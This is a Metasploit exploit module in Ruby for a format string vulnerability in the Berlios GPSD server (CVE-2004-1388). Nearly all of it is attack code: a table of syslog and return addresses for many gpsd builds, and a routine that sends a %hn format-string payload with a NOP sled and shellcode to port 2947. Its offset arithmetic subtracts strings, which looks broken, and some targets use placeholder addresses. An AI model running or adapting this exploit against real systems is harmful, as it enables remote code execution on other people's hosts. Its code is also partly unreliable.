Berlios GPSD Format String Vulnerability

`require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Berlios GPSD Format String Vulnerability',  
'Description' => %q{  
This module exploits a format string vulnerability in the Berlios GPSD server.  
This vulnerability was discovered by Kevin Finisterre.  
  
},  
'Author' => [ 'Yann Senotier <yann.senotier [at] cyber-networks.fr>' ],  
'License' => MSF_LICENSE,  
'Version' => '$ Revision: 1.0 $',  
'References' =>  
[  
[ 'CVE', '2004-1388' ],  
[ 'OSVDB', '13199' ],  
[ 'BID', '12371' ],  
[ 'URL', 'http://www.securiteam.com/unixfocus/5LP0M1PEKK.html'],  
  
],  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1004,  
'BadChars' => "\x00\x0a\x0d\x0c",  
  
},  
'Targets' =>   
[  
  
[ 'gpsd-1.91-1.i386.rpm', { 'Syslog' => 0x0804f250, 'Ret' => 0x41424344 }, ],   
[ 'gpsd-1.92-1.i386.rpm', { 'Syslog' => 0x0804f630, 'Ret' => 0x41424344 }, ],  
[ 'gpsd-1.93-1.i386.rpm', { 'Syslog' => 0x0804e154, 'Ret' => 0x41424344 }, ],  
[ 'gpsd-1.94-1.i386.rpm', { 'Syslog' => 0x0804f260, 'Ret' => 0x41424344 }, ],  
[ 'gpsd-1.95-1.i386.rpm', { 'Syslog' => 0x0804f268, 'Ret' => 0x41424344 }, ],  
[ 'gpsd-1.96-1.i386.rpm', { 'Syslog' => 0x41424344, 'Ret' => 0x41424344 }, ],  
[ 'gpsd-1.97-1.i386.rpm', { 'Syslog' => 0x0804b14c, 'Ret' => 0x41424344 }, ],  
[ 'gpsd-2.1-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],  
[ 'gpsd-2.2-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],  
[ 'gpsd-2.3-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbfffd661 }, ],  
[ 'gpsd-2.4-1.i386.rpm', { 'Syslog' => 0x0804c7b8, 'Ret' => 0xbfffde71 }, ],  
[ 'gpsd-2.5-1.i386.rpm', { 'Syslog' => 0x0804c7dc, 'Ret' => 0xbfffdc09 }, ],  
[ 'gpsd-2.6-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbffff100 }, ],  
[ 'gpsd-2.7-1.i386.rpm', { 'Syslog' => 0x0804c5bc, 'Ret' => 0xbfffcabc }, ],  
[ 'gpsd_2.6-1_i386.deb', { 'Syslog' => 0x0804c7c4, 'Ret' => 0xbfffedc8 }, ],   
[ 'gpsd_2.7-1_i386.deb', { 'Syslog' => 0x0804c6c4, 'Ret' => 0xbfffc818 }, ],  
[ 'gpsd_2.7-2_i386.deb', { 'Syslog' => 0x0804c770, 'Ret' => 0xbfffee70 }, ],  
[ 'SuSE 9.1 compiled 2.0', { 'Syslog' => 0x0804c818, 'Ret' => 0xbfffe148 }, ],   
[ 'Slackware 9.0 compiled 2.0', { 'Syslog' => 0x0804b164, 'Ret' => 0xbfffd7d6 }, ],  
[ 'Slackware 9.0 compiled 2.7', { 'Syslog' => 0x0804c3ec, 'Ret' => 0xbfffe65c }, ],   
[ 'Debug ', { 'Syslog' => 0x41424344, 'Ret' => 0xdeadbeef }, ],   
  
],  
'DisclosureDate' => 'May 25 2005'))  
  
register_options( [ Opt::RPORT(2947) ], self.class )  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
offset = 17  
dump_fmt = 7  
al = 3  
  
hi = (target.ret >> 0) & 0xffff  
lo = (target.ret >> 16) & 0xffff  
  
shift0 = sprintf("%d",hi) - sprintf("%d",offset) - (dump_fmt * 8 + 16 + al)  
shift1 = (sprintf("%d",0x10000) + sprintf("%d",lo)) - sprintf("%d",hi)  
  
buf = "A" * 3 + "B" * 4  
buf += [ target['Syslog']].pack('V')  
buf += "B" * 4  
buf += [ target['Syslog'] + 0x2].pack('V')  
buf += "%.8x" * 7 + "%." + shift0 + "lx%hn" + "%." + shift1 + "lx%hn"  
buf += make_nops(3000) + payload.encoded  
  
sock.put(buf)  
  
handler  
disconnect  
end  
  
end  
  
  
`